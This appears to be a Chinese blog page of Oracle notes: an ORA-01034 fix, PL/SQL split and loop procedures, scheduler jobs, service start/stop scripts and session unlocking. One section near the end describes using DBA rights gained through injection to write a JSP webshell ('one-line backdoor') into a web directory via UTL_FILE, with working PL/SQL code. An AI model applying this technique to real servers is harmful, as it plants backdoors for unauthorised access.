common

命令:

错误描述:

ORA-01034: ORACLE not available
ORA-27101: shared memory realm does not exist

 

这个错误有点怪,以前可以用的,由于把用户的DBA权限去掉了,重启电脑 。。。后来就报这种错误。。。

解决方案:

ORA-01034: ORACLE not available
ORA-27101: shared memory realm does not exist

在CMD中输入以下内容,

1,c:> ;sqlplus /nolog

2,Sql> connect jjt【用户名】/jjt【密码】@orapop【实例名】 as sysdba
3,SQL> startup

 

 

http://blog.csdn.net/didiaodezhu/category/594612.aspx

1.
select *  from all_tab_columns where table_name = 'T_OMC_LOG'
查看表结构
select uo.object_name from user_objects uo where uo.object_type = 'TABLE' // TABLE要大些
查看该对象下的所有表名

select uo.* from user_objects uo  //查询所有用户对象

truncate table 表名 //删除表的所有记录 自动commit

select fid from t_sys_dept start with fid =pDeptid connect by prior fpid = fid //通过子编号向上查询所有父类(包含本级 但没到 最高级)
select t.fid from t_sys_dept t  connect by prior fid = fpid  start with fpid = pDeptid//通过编号向下查询所有子类(不包括本级)

存储过程授权
 grant execute on 存储过程名字 to 用户名
 如: grant execute on xjq to omc;
 


2.
 oracle中的split 字符串分割函数

 (1)第一两个类型
 CREATE OR REPLACE TYPE ty_row_str_split  as object (strValue VARCHAR2 (4000))
        CREATE OR REPLACE TYPE ty_tbl_str_split IS TABLE OF ty_row_str_split
 (2)写一个方法
create or replace function fun_split
(
      p_str       in varchar2,
      p_delimiter in varchar2
)

return ty_tbl_str_split is
      j         int := 0;
      i         int := 1;
      len       int := 0;
      len1      int := 0;
      str       varchar2(4000);
      str_split ty_tbl_str_split := ty_tbl_str_split();
begin
      len   := LENGTH(p_str);
      len1 := LENGTH(p_delimiter);


      while j < len loop
        j := INSTR(p_str, p_delimiter, i);

        if j = 0 then
          j    := len;
          str := SUBSTR(p_str, i);
          str_split.EXTEND;
          str_split(str_split.COUNT) := ty_row_str_split(strValue => str);

        if i >= len then
          exit;
          end if;
        else
          str := SUBSTR(p_str, i, j - i);
          i    := j + len1;
          str_split.EXTEND;
          str_split(str_split.COUNT) := ty_row_str_split(strValue => str);
        end if;
        end loop;
  return str_split;
  exception
     when others then
    -- xp_sys_errorlog('procedure','xp_sys_permit',sqlcode,sqlerrm,'p_str='||p_str);
 dbms_output.put_line('异常');
end fun_split;

 

       (3) 测试调用
 my:自定义的
 pUserid:要截取的字符串 如:1^3^2^4^5^6
create or replace procedure xp_sys_permit
(
       pUserid      varchar2,   -- 用户编号
       pRet         out number  -- 返回参数

)

is
  pCountPid int :=0;

begin
 for my in ( select to_char(strvalue) as Value from table(fun_split(pUserid,'^')))  
        loop                            
             if my.value is not null then
   dbms_output.put_line('测试');
       end if;
  end loop;
exception
      when others then
      pRet := 1000;
end xp_sys_permit;

3.procedure 循环一张表的数据
create or replace procedure xp_sys_initpermit
(

       pAccount     varchar2,
       pRet         out number 

)
is
  pUserid int :=0;         -- 用户编号
  pMenuid varchar2(500):=''; --菜单编号
  pActioninit varchar2(500):=''; --菜单动作

 
begin
  pRet :=0;
   for pTable in (select t.fid,t.factioninit from t_sys_menu t where t.fneed = '0')
            loop
               pMenuid := pTable.fid;
               pActioninit :=pTable.Factioninit;
            end loop;

exception
      when others then
      pRet := 1000;
      xp_sys_errorlog('procedure','xp_sys_permit',sqlcode,sqlerrm,'pAccount='||pAccount);
end xp_sys_initpermit;
4.
 
                      MySQL                      SQL Server                   Oracle
 
   换行符    \n或\r\n或CHAR(10)        CHAR(13)                     CHR(10)
 
 
 字符串连接符  CONCAT()                 +                                ||或CONCAT()

5.作业
select * from user_scheduler_jobs  --查询当前用户所有调度作业
 
execut dbms_scheduler.drop_job(job_name);--删除调度作业(‘大写’)
 
exceut dbms_scheduler.stop_job(job_name);--停止调度作业
 
exceut dbms_scheduler.run_job(job_name,true); -- 开始调度作业true代表同步执行
 
exceut dbms_scheduler.enable(job_name); --启用调度作业
 
 
begin
   dbms_scheduler.create_job
   (
      job_name        => 'REPORT_FORMS_JOB',
      job_type        => 'STORED_PROCEDURE',
      job_action      => 'xp_job_report_forms',
      repeat_interval => 'FREQ=DAILY',
      start_date      => to_date('2009-02-20 23:58:59','YYYY-MM-dd HH24:MI:SS'),
      enabled         => true,
      comments        => 'New T_QZT_REPORT Table Rows'
   );
end;

 
begin
dbms_scheduler.create_job
   (
      job_name        => 'UP_OVERTIME_JOB',
      job_type        => 'STORED_PROCEDURE',
      job_action      => 'xp_up_overtime',
      repeat_interval => 'FREQ=MINUTELY; INTERVAL=2',
      enabled         => true,
      comments        => 'Send Overtime Sms To User'
   );
end;

------------------------------------------循环-------------------------------------------

set serveroutput on
declare
  vnum number:=10;
  i number:=0;
begin
--loop循环
--loop
--  dbms_output.put_line('i='||i);
--  i:=i+1;
--  EXIT when i>=10;
--end loop;
--while 循环
--  while i<10 loop
--    dbms_output.put_line('i='||i);
--    i:=i+1;
--  end loop;
--for 循环
  for x in 0..10 loop
    dbms_output.put_line('x='||x);
  end loop;
end;
 
------------------------------------------------oracle 写文件的存储过程(环境oracle10g)---------------------------------------------
 
一般我们通过函数注射以后 获得ORA的DBA权限 那么我们就得对本地文件进行操作!要是WEB跟ORA是同一个机器~那就更方便于我们拿更多的权限了~或者对本地写webshell

下面是采用ORA 自带的文件访问包 操作本地文件! 前提是你必须要知道WEBSITE的物理地址

以下是一个简单例子

--首先我们得先建立一个 ORACLE的目录对象 指向 C:\

create or replace directory IST0_DIR as 'C:\';     --如果没有权限创建目录可以 grant CREATE ANY DIRECTORY to *** 通过这个语句来授权

--然后我们对这个目录对象进行授权 其实这步可以忽略

grant read, write on directory IST0_DIR to 用户;

--以上前奏完成了! 我们可以写PLSQL 进行操作文件了
declare
isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
utl_file.put_line(isto_file, '一句话后门'); --写入字符串
utl_file.fflush(isto_file); --刷缓冲
utl_file.fclose(isto_file); --关闭文件指针
end;
--下面我们可以使用读操作把写入的文件内容读出来
declare
isto_file utl_file.file_type; --如上
fp_buffer varchar2(4000); --没必要说了吧?
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'R'); -- 指定为读操作
utl_file.get_line (isto_file , fp_buffer ); --读取一行放到 fp_buffer 变量里面
dbms_output.put_line(fp_buffer);--在终端输出结果看看
utl_file.fclose(isto_file); --关闭文件指针
end;

 


 ==================安装=============
安装的时候 目标文件 用英文目录 如:E:\data\F\92010NT_Disk1

 

=================启动================

@echo off
net start OracleOraDb10g_home1TNSListener
net start OracleServiceORCL
net start OracleOraDb10g_home1iSQL*Plus
:end

==============停止====================
@echo off
net stop OracleOraDb10g_home1iSQL*Plus
net stop OracleServiceORCL
net stop OracleOraDb10g_home1TNSListener
:end


==============oracle解锁=============

select t2.username,t2.sid,t2.serial#,t2.logon_time
from v$locked_object t1,v$session t2
where t1.session_id=t2.sid order by t2.logon_time;
--查看锁

--alter system kill session 'sid,serial#';
--把锁给KILL掉
例如:
 alter system kill session '146,21177';

 

你可能感兴趣的:(com)